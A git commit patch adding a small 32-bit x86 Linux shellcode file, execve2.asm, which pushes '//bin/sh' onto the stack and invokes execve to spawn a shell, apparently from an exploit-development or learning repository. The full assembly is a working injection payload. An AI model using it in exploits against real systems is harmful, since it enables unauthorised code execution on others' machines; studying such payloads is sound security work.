From 82c998c5048ec2df4a809192493033ee65e1bdf3 Mon Sep 17 00:00:00 2001 From: toni Date: Tue, 4 Nov 2014 18:01:30 +0100 Subject: - added execve2 shellcode: does the same like execve but is quite smaller --- shellcode/execve2.asm | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) create mode 100644 shellcode/execve2.asm (limited to 'shellcode') diff --git a/shellcode/execve2.asm b/shellcode/execve2.asm new file mode 100644 index 0000000..cd094be --- /dev/null +++ b/shellcode/execve2.asm @@ -0,0 +1,16 @@ +BITS 32 + +; Method 2: Push the string directly onto the stack instead of using the 'string trick' + +; zero out registers +xor eax,eax +xor ecx,ecx +cdq ; convert dword in eax to qword in edx + +; push the string //bin/sh onto the stack +push 0x68732f6e ; push 'hs/n' +push 0x69622f2f ; push 'ib//' +mov ebx,esp ; first argument for execve -> stack pointer = pointer to our string +mov byte [esp + 8], al ; null-terminate the string +mov al,0xb ; syscall number 0xb (11) is execve +int 0x80 ; let the kernel do the stuff -- cgit v1.2.3